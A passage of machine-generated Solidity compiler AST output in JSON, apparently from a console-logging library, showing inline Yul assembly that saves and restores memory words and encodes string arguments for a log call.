260"}],"id":41169,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"225740:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41172,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"225740:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41173,"nodeType":"ExpressionStatement","src":"225740:28:22"},{"AST":{"nativeSrc":"225787:273:22","nodeType":"YulBlock","src":"225787:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"225808:4:22","nodeType":"YulLiteral","src":"225808:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"225814:2:22","nodeType":"YulIdentifier","src":"225814:2:22"}],"functionName":{"name":"mstore","nativeSrc":"225801:6:22","nodeType":"YulIdentifier","src":"225801:6:22"},"nativeSrc":"225801:16:22","nodeType":"YulFunctionCall","src":"225801:16:22"},"nativeSrc":"225801:16:22","nodeType":"YulExpressionStatement","src":"225801:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225837:4:22","nodeType":"YulLiteral","src":"225837:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"225843:2:22","nodeType":"YulIdentifier","src":"225843:2:22"}],"functionName":{"name":"mstore","nativeSrc":"225830:6:22","nodeType":"YulIdentifier","src":"225830:6:22"},"nativeSrc":"225830:16:22","nodeType":"YulFunctionCall","src":"225830:16:22"},"nativeSrc":"225830:16:22","nodeType":"YulExpressionStatement","src":"225830:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225866:4:22","nodeType":"YulLiteral","src":"225866:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"225872:2:22","nodeType":"YulIdentifier","src":"225872:2:22"}],"functionName":{"name":"mstore","nativeSrc":"225859:6:22","nodeType":"YulIdentifier","src":"225859:6:22"},"nativeSrc":"225859:16:22","nodeType":"YulFunctionCall","src":"225859:16:22"},"nativeSrc":"225859:16:22","nodeType":"YulExpressionStatement","src":"225859:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225895:4:22","nodeType":"YulLiteral","src":"225895:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"225901:2:22","nodeType":"YulIdentifier","src":"225901:2:22"}],"functionName":{"name":"mstore","nativeSrc":"225888:6:22","nodeType":"YulIdentifier","src":"225888:6:22"},"nativeSrc":"225888:16:22","nodeType":"YulFunctionCall","src":"225888:16:22"},"nativeSrc":"225888:16:22","nodeType":"YulExpressionStatement","src":"225888:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225924:4:22","nodeType":"YulLiteral","src":"225924:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"225930:2:22","nodeType":"YulIdentifier","src":"225930:2:22"}],"functionName":{"name":"mstore","nativeSrc":"225917:6:22","nodeType":"YulIdentifier","src":"225917:6:22"},"nativeSrc":"225917:16:22","nodeType":"YulFunctionCall","src":"225917:16:22"},"nativeSrc":"225917:16:22","nodeType":"YulExpressionStatement","src":"225917:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225953:4:22","nodeType":"YulLiteral","src":"225953:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"225959:2:22","nodeType":"YulIdentifier","src":"225959:2:22"}],"functionName":{"name":"mstore","nativeSrc":"225946:6:22","nodeType":"YulIdentifier","src":"225946:6:22"},"nativeSrc":"225946:16:22","nodeType":"YulFunctionCall","src":"225946:16:22"},"nativeSrc":"225946:16:22","nodeType":"YulExpressionStatement","src":"225946:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225982:4:22","nodeType":"YulLiteral","src":"225982:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"225988:2:22","nodeType":"YulIdentifier","src":"225988:2:22"}],"functionName":{"name":"mstore","nativeSrc":"225975:6:22","nodeType":"YulIdentifier","src":"225975:6:22"},"nativeSrc":"225975:16:22","nodeType":"YulFunctionCall","src":"225975:16:22"},"nativeSrc":"225975:16:22","nodeType":"YulExpressionStatement","src":"225975:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"226011:4:22","nodeType":"YulLiteral","src":"226011:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"226017:2:22","nodeType":"YulIdentifier","src":"226017:2:22"}],"functionName":{"name":"mstore","nativeSrc":"226004:6:22","nodeType":"YulIdentifier","src":"226004:6:22"},"nativeSrc":"226004:16:22","nodeType":"YulFunctionCall","src":"226004:16:22"},"nativeSrc":"226004:16:22","nodeType":"YulExpressionStatement","src":"226004:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"226040:5:22","nodeType":"YulLiteral","src":"226040:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"226047:2:22","nodeType":"YulIdentifier","src":"226047:2:22"}],"functionName":{"name":"mstore","nativeSrc":"226033:6:22","nodeType":"YulIdentifier","src":"226033:6:22"},"nativeSrc":"226033:17:22","nodeType":"YulFunctionCall","src":"226033:17:22"},"nativeSrc":"226033:17:22","nodeType":"YulExpressionStatement","src":"226033:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41142,"isOffset":false,"isSlot":false,"src":"225814:2:22","valueSize":1},{"declaration":41145,"isOffset":false,"isSlot":false,"src":"225843:2:22","valueSize":1},{"declaration":41148,"isOffset":false,"isSlot":false,"src":"225872:2:22","valueSize":1},{"declaration":41151,"isOffset":false,"isSlot":false,"src":"225901:2:22","valueSize":1},{"declaration":41154,"isOffset":false,"isSlot":false,"src":"225930:2:22","valueSize":1},{"declaration":41157,"isOffset":false,"isSlot":false,"src":"225959:2:22","valueSize":1},{"declaration":41160,"isOffset":false,"isSlot":false,"src":"225988:2:22","valueSize":1},{"declaration":41163,"isOffset":false,"isSlot":false,"src":"226017:2:22","valueSize":1},{"declaration":41166,"isOffset":false,"isSlot":false,"src":"226047:2:22","valueSize":1}],"id":41174,"nodeType":"InlineAssembly","src":"225778:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"224551:3:22","parameters":{"id":41139,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41132,"mutability":"mutable","name":"p0","nameLocation":"224560:2:22","nodeType":"VariableDeclaration","scope":41176,"src":"224555:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41131,"name":"bool","nodeType":"ElementaryTypeName","src":"224555:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41134,"mutability":"mutable","name":"p1","nameLocation":"224572:2:22","nodeType":"VariableDeclaration","scope":41176,"src":"224564:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41133,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224564:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41136,"mutability":"mutable","name":"p2","nameLocation":"224584:2:22","nodeType":"VariableDeclaration","scope":41176,"src":"224576:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41135,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224576:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41138,"mutability":"mutable","name":"p3","nameLocation":"224593:2:22","nodeType":"VariableDeclaration","scope":41176,"src":"224588:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41137,"name":"bool","nodeType":"ElementaryTypeName","src":"224588:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"224554:42:22"},"returnParameters":{"id":41140,"nodeType":"ParameterList","parameters":[],"src":"224611:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41222,"nodeType":"FunctionDefinition","src":"226072:1530:22","nodes":[],"body":{"id":41221,"nodeType":"Block","src":"226144:1458:22","nodes":[],"statements":[{"assignments":[41188],"declarations":[{"constant":false,"id":41188,"mutability":"mutable","name":"m0","nameLocation":"226162:2:22","nodeType":"VariableDeclaration","scope":41221,"src":"226154:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41187,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226154:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41189,"nodeType":"VariableDeclarationStatement","src":"226154:10:22"},{"assignments":[41191],"declarations":[{"constant":false,"id":41191,"mutability":"mutable","name":"m1","nameLocation":"226182:2:22","nodeType":"VariableDeclaration","scope":41221,"src":"226174:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41190,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226174:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41192,"nodeType":"VariableDeclarationStatement","src":"226174:10:22"},{"assignments":[41194],"declarations":[{"constant":false,"id":41194,"mutability":"mutable","name":"m2","nameLocation":"226202:2:22","nodeType":"VariableDeclaration","scope":41221,"src":"226194:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41193,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226194:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41195,"nodeType":"VariableDeclarationStatement","src":"226194:10:22"},{"assignments":[41197],"declarations":[{"constant":false,"id":41197,"mutability":"mutable","name":"m3","nameLocation":"226222:2:22","nodeType":"VariableDeclaration","scope":41221,"src":"226214:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41196,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226214:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41198,"nodeType":"VariableDeclarationStatement","src":"226214:10:22"},{"assignments":[41200],"declarations":[{"constant":false,"id":41200,"mutability":"mutable","name":"m4","nameLocation":"226242:2:22","nodeType":"VariableDeclaration","scope":41221,"src":"226234:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41199,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226234:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41201,"nodeType":"VariableDeclarationStatement","src":"226234:10:22"},{"assignments":[41203],"declarations":[{"constant":false,"id":41203,"mutability":"mutable","name":"m5","nameLocation":"226262:2:22","nodeType":"VariableDeclaration","scope":41221,"src":"226254:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41202,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226254:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41204,"nodeType":"VariableDeclarationStatement","src":"226254:10:22"},{"assignments":[41206],"declarations":[{"constant":false,"id":41206,"mutability":"mutable","name":"m6","nameLocation":"226282:2:22","nodeType":"VariableDeclaration","scope":41221,"src":"226274:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41205,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226274:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41207,"nodeType":"VariableDeclarationStatement","src":"226274:10:22"},{"assignments":[41209],"declarations":[{"constant":false,"id":41209,"mutability":"mutable","name":"m7","nameLocation":"226302:2:22","nodeType":"VariableDeclaration","scope":41221,"src":"226294:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41208,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226294:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41210,"nodeType":"VariableDeclarationStatement","src":"226294:10:22"},{"assignments":[41212],"declarations":[{"constant":false,"id":41212,"mutability":"mutable","name":"m8","nameLocation":"226322:2:22","nodeType":"VariableDeclaration","scope":41221,"src":"226314:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41211,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226314:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41213,"nodeType":"VariableDeclarationStatement","src":"226314:10:22"},{"AST":{"nativeSrc":"226343:924:22","nodeType":"YulBlock","src":"226343:924:22","statements":[{"body":{"nativeSrc":"226386:313:22","nodeType":"YulBlock","src":"226386:313:22","statements":[{"nativeSrc":"226404:15:22","nodeType":"YulVariableDeclaration","src":"226404:15:22","value":{"kind":"number","nativeSrc":"226418:1:22","nodeType":"YulLiteral","src":"226418:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"226408:6:22","nodeType":"YulTypedName","src":"226408:6:22","type":""}]},{"body":{"nativeSrc":"226489:40:22","nodeType":"YulBlock","src":"226489:40:22","statements":[{"body":{"nativeSrc":"226518:9:22","nodeType":"YulBlock","src":"226518:9:22","statements":[{"nativeSrc":"226520:5:22","nodeType":"YulBreak","src":"226520:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"226506:6:22","nodeType":"YulIdentifier","src":"226506:6:22"},{"name":"w","nativeSrc":"226514:1:22","nodeType":"YulIdentifier","src":"226514:1:22"}],"functionName":{"name":"byte","nativeSrc":"226501:4:22","nodeType":"YulIdentifier","src":"226501:4:22"},"nativeSrc":"226501:15:22","nodeType":"YulFunctionCall","src":"226501:15:22"}],"functionName":{"name":"iszero","nativeSrc":"226494:6:22","nodeType":"YulIdentifier","src":"226494:6:22"},"nativeSrc":"226494:23:22","nodeType":"YulFunctionCall","src":"226494:23:22"},"nativeSrc":"226491:36:22","nodeType":"YulIf","src":"226491:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"226446:6:22","nodeType":"YulIdentifier","src":"226446:6:22"},{"kind":"number","nativeSrc":"226454:4:22","nodeType":"YulLiteral","src":"226454:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"226443:2:22","nodeType":"YulIdentifier","src":"226443:2:22"},"nativeSrc":"226443:16:22","nodeType":"YulFunctionCall","src":"226443:16:22"},"nativeSrc":"226436:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"226460:28:22","nodeType":"YulBlock","src":"226460:28:22","statements":[{"nativeSrc":"226462:24:22","nodeType":"YulAssignment","src":"226462:24:22","value":{"arguments":[{"name":"length","nativeSrc":"226476:6:22","nodeType":"YulIdentifier","src":"226476:6:22"},{"kind":"number","nativeSrc":"226484:1:22","nodeType":"YulLiteral","src":"226484:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"226472:3:22","nodeType":"YulIdentifier","src":"226472:3:22"},"nativeSrc":"226472:14:22","nodeType":"YulFunctionCall","src":"226472:14:22"},"variableNames":[{"name":"length","nativeSrc":"226462:6:22","nodeType":"YulIdentifier","src":"226462:6:22"}]}]},"pre":{"nativeSrc":"226440:2:22","nodeType":"YulBlock","src":"226440:2:22","statements":[]},"src":"226436:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"226553:3:22","nodeType":"YulIdentifier","src":"226553:3:22"},{"name":"length","nativeSrc":"226558:6:22","nodeType":"YulIdentifier","src":"226558:6:22"}],"functionName":{"name":"mstore","nativeSrc":"226546:6:22","nodeType":"YulIdentifier","src":"226546:6:22"},"nativeSrc":"226546:19:22","nodeType":"YulFunctionCall","src":"226546:19:22"},"nativeSrc":"226546:19:22","nodeType":"YulExpressionStatement","src":"226546:19:22"},{"nativeSrc":"226582:37:22","nodeType":"YulVariableDeclaration","src":"226582:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"226599:3:22","nodeType":"YulLiteral","src":"226599:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"226608:1:22","nodeType":"YulLiteral","src":"226608:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"226611:6:22","nodeType":"YulIdentifier","src":"226611:6:22"}],"functionName":{"name":"shl","nativeSrc":"226604:3:22","nodeType":"YulIdentifier","src":"226604:3:22"},"nativeSrc":"226604:14:22","nodeType":"YulFunctionCall","src":"226604:14:22"}],"functionName":{"name":"sub","nativeSrc":"226595:3:22","nodeType":"YulIdentifier","src":"226595:3:22"},"nativeSrc":"226595:24:22","nodeType":"YulFunctionCall","src":"226595:24:22"},"variables":[{"name":"shift","nativeSrc":"226586:5:22","nodeType":"YulTypedName","src":"226586:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"226647:3:22","nodeType":"YulIdentifier","src":"226647:3:22"},{"kind":"number","nativeSrc":"226652:4:22","nodeType":"YulLiteral","src":"226652:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"226643:3:22","nodeType":"YulIdentifier","src":"226643:3:22"},"nativeSrc":"226643:14:22","nodeType":"YulFunctionCall","src":"226643:14:22"},{"arguments":[{"name":"shift","nativeSrc":"226663:5:22","nodeType":"YulIdentifier","src":"226663:5:22"},{"arguments":[{"name":"shift","nativeSrc":"226674:5:22","nodeType":"YulIdentifier","src":"226674:5:22"},{"name":"w","nativeSrc":"226681:1:22","nodeType":"YulIdentifier","src":"226681:1:22"}],"functionName":{"name":"shr","nativeSrc":"226670:3:22","nodeType":"YulIdentifier","src":"226670:3:22"},"nativeSrc":"226670:13:22","nodeType":"YulFunctionCall","src":"226670:13:22"}],"functionName":{"name":"shl","nativeSrc":"226659:3:22","nodeType":"YulIdentifier","src":"226659:3:22"},"nativeSrc":"226659:25:22","nodeType":"YulFunctionCall","src":"226659:25:22"}],"functionName":{"name":"mstore","nativeSrc":"226636:6:22","nodeType":"YulIdentifier","src":"226636:6:22"},"nativeSrc":"226636:49:22","nodeType":"YulFunctionCall","src":"226636:49:22"},"nativeSrc":"226636:49:22","nodeType":"YulExpressionStatement","src":"226636:49:22"}]},"name":"writeString","nativeSrc":"226357:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"226378:3:22","nodeType":"YulTypedName","src":"226378:3:22","type":""},{"name":"w","nativeSrc":"226383:1:22","nodeType":"YulTypedName","src":"226383:1:22","type":""}],"src":"226357:342:22"},{"nativeSrc":"226712:17:22","nodeType":"YulAssignment","src":"226712:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"226724:4:22","nodeType":"YulLiteral","src":"226724:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"226718:5:22","nodeType":"YulIdentifier","src":"226718:5:22"},"nativeSrc":"226718:11:22","nodeType":"YulFunctionCall","src":"226718:11:22"},"variableNames":[{"name":"m0","nativeSrc":"226712:2:22","nodeType":"YulIdentifier","src":"226712:2:22"}]},{"nativeSrc":"226742:17:22","nodeType":"YulAssignment","src":"226742:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"226754:4:22","nodeType":"YulLiteral","src":"226754:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"226748:5:22","nodeType":"YulIdentifier","src":"226748:5:22"},"nativeSrc":"226748:11:22","nodeType":"YulFunctionCall","src":"226748:11:22"},"variableNames":[{"name":"m1","nativeSrc":"226742:2:22","nodeType":"YulIdentifier","src":"226742:2:22"}]},{"nativeSrc":"226772:17:22","nodeType":"YulAssignment","src":"226772:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"226784:4:22","nodeType":"YulLiteral","src":"226784:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"226778:5:22","nodeType":"YulIdentifier","src":"226778:5:22"},"nativeSrc":"226778:11:22","nodeType":"YulFunctionCall","src":"226778:11:22"},"variableNames":[{"name":"m2","nativeSrc":"226772:2:22","nodeType":"YulIdentifier","src":"226772:2:22"}]},{"nativeSrc":"226802:17:22","nodeType":"YulAssignment","src":"226802:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"226814:4:22","nodeType":"YulLiteral","src":"226814:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"226808:5:22","nodeType":"YulIdentifier","src":"226808:5:22"},"nativeSrc":"226808:11:22","nodeType":"YulFunctionCall","src":"226808:11:22"},"variableNames":[{"name":"m3","nativeSrc":"226802:2:22","nodeType":"YulIdentifier","src":"226802:2:22"}]},{"nativeSrc":"226832:17:22","nodeType":"YulAssignment","src":"226832:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"226844:4:22","nodeType":"YulLiteral","src":"226844:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"226838:5:22","nodeType":"YulIdentifier","src":"226838:5:22"},"nativeSrc":"226838:11:22","nodeType":"YulFunctionCall","src":"226838:11:22"},"variableNames":[{"name":"m4","nativeSrc":"226832:2:22","nodeType":"YulIdentifier","src":"226832:2:22"}]},{"nativeSrc":"226862:17:22","nodeType":"YulAssignment","src":"226862:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"226874:4:22","nodeType":"YulLiteral","src":"226874:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"226868:5:22","nodeType":"YulIdentifier","src":"226868:5:22"},"nativeSrc":"226868:11:22","nodeType":"YulFunctionCall","src":"226868:11:22"},"variableNames":[{"name":"m5","nativeSrc":"226862:2:22","nodeType":"YulIdentifier","src":"226862:2:22"}]},{"nativeSrc":"226892:17:22","nodeType":"YulAssignment","src":"226892:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"226904:4:22","nodeType":"YulLiteral","src":"226904:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"226898:5:22","nodeType":"YulIdentifier","src":"226898:5:22"},"nativeSrc":"226898:11:22","nodeType":"YulFunctionCall","src":"226898:11:22"},"variableNames":[{"name":"m6","nativeSrc":"226892:2:22","nodeType":"YulIdentifier","src":"226892:2:22"}]},{"nativeSrc":"226922:17:22","nodeType":"YulAssignment","src":"226922:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"226934:4:22","nodeType":"YulLiteral","src":"226934:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"226928:5:22","nodeType":"YulIdentifier","src":"226928:5:22"},"nativeSrc":"226928:11:22","nodeType":"YulFunctionCall","src":"226928:11:22"},"variableNames":[{"name":"m7","nativeSrc":"226922:2:22","nodeType":"YulIdentifier","src":"226922:2:22"}]},{"nativeSrc":"226952:18:22","nodeType":"YulAssignment","src":"226952:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"226964:5:22","nodeType":"YulLiteral","src":"226964:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"226958:5:22","nodeType":"YulIdentifier","src":"226958:5:22"},"nativeSrc":"226958:12:22","nodeType":"YulFunctionCall","src":"226958:12:22"},"variableNames":[{"name":"m8","nativeSrc":"226952:2:22","nodeType":"YulIdentifier","src":"226952:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227052:4:22","nodeType":"YulLiteral","src":"227052:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"227058:10:22","nodeType":"YulLiteral","src":"227058:10:22","type":"","value":"0x7be0c3eb"}],"functionName":{"name":"mstore","nativeSrc":"227045:6:22","nodeType":"YulIdentifier","src":"227045:6:22"},"nativeSrc":"227045:24:22","nodeType":"YulFunctionCall","src":"227045:24:22"},"nativeSrc":"227045:24:22","nodeType":"YulExpressionStatement","src":"227045:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227089:4:22","nodeType":"YulLiteral","src":"227089:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"227095:2:22","nodeType":"YulIdentifier","src":"227095:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227082:6:22","nodeType":"YulIdentifier","src":"227082:6:22"},"nativeSrc":"227082:16:22","nodeType":"YulFunctionCall","src":"227082:16:22"},"nativeSrc":"227082:16:22","nodeType":"YulExpressionStatement","src":"227082:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227118:4:22","nodeType":"YulLiteral","src":"227118:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"227124:4:22","nodeType":"YulLiteral","src":"227124:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"227111:6:22","nodeType":"YulIdentifier","src":"227111:6:22"},"nativeSrc":"227111:18:22","nodeType":"YulFunctionCall","src":"227111:18:22"},"nativeSrc":"227111:18:22","nodeType":"YulExpressionStatement","src":"227111:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227149:4:22","nodeType":"YulLiteral","src":"227149:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"227155:4:22","nodeType":"YulLiteral","src":"227155:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"227142:6:22","nodeType":"YulIdentifier","src":"227142:6:22"},"nativeSrc":"227142:18:22","nodeType":"YulFunctionCall","src":"227142:18:22"},"nativeSrc":"227142:18:22","nodeType":"YulExpressionStatement","src":"227142:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227180:4:22","nodeType":"YulLiteral","src":"227180:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"227186:2:22","nodeType":"YulIdentifier","src":"227186:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227173:6:22","nodeType":"YulIdentifier","src":"227173:6:22"},"nativeSrc":"227173:16:22","nodeType":"YulFunctionCall","src":"227173:16:22"},"nativeSrc":"227173:16:22","nodeType":"YulExpressionStatement","src":"227173:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227214:4:22","nodeType":"YulLiteral","src":"227214:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"227220:2:22","nodeType":"YulIdentifier","src":"227220:2:22"}],"functionName":{"name":"writeString","nativeSrc":"227202:11:22","nodeType":"YulIdentifier","src":"227202:11:22"},"nativeSrc":"227202:21:22","nodeType":"YulFunctionCall","src":"227202:21:22"},"nativeSrc":"227202:21:22","nodeType":"YulExpressionStatement","src":"227202:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227248:4:22","nodeType":"YulLiteral","src":"227248:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"227254:2:22","nodeType":"YulIdentifier","src":"227254:2:22"}],"functionName":{"name":"writeString","nativeSrc":"227236:11:22","nodeType":"YulIdentifier","src":"227236:11:22"},"nativeSrc":"227236:21:22","nodeType":"YulFunctionCall","src":"227236:21:22"},"nativeSrc":"227236:21:22","nodeType":"YulExpressionStatement","src":"227236:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41188,"isOffset":false,"isSlot":false,"src":"226712:2:22","valueSize":1},{"declaration":41191,"isOffset":false,"isSlot":false,"src":"226742:2:22","valueSize":1},{"declaration":41194,"isOffset":false,"isSlot":false,"src":"226772:2:22","valueSize":1},{"declaration":41197,"isOffset":false,"isSlot":false,"src":"226802:2:22","valueSize":1},{"declaration":41200,"isOffset":false,"isSlot":false,"src":"226832:2:22","valueSize":1},{"declaration":41203,"isOffset":false,"isSlot":false,"src":"226862:2:22","valueSize":1},{"declaration":41206,"isOffset":false,"isSlot":false,"src":"226892:2:22","valueSize":1},{"declaration":41209,"isOffset":false,"isSlot":false,"src":"226922:2:22","valueSize":1},{"declaration":41212,"isOffset":false,"isSlot":false,"src":"226952:2:22","valueSize":1},{"declaration":41178,"isOffset":false,"isSlot":false,"src":"227095:2:22","valueSize":1},{"declaration":41180,"isOffset":false,"isSlot":false,"src":"227220:2:22","valueSize":1},{"declaration":41182,"isOffset":false,"isSlot":false,"src":"227254:2:22","valueSize":1},{"declaration":41184,"isOffset":false,"isSlot":false,"src":"227186:2:22","valueSize":1}],"id":41214,"nodeType":"InlineAssembly","src":"226334:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41216,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"227292:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":41217,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"227298:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 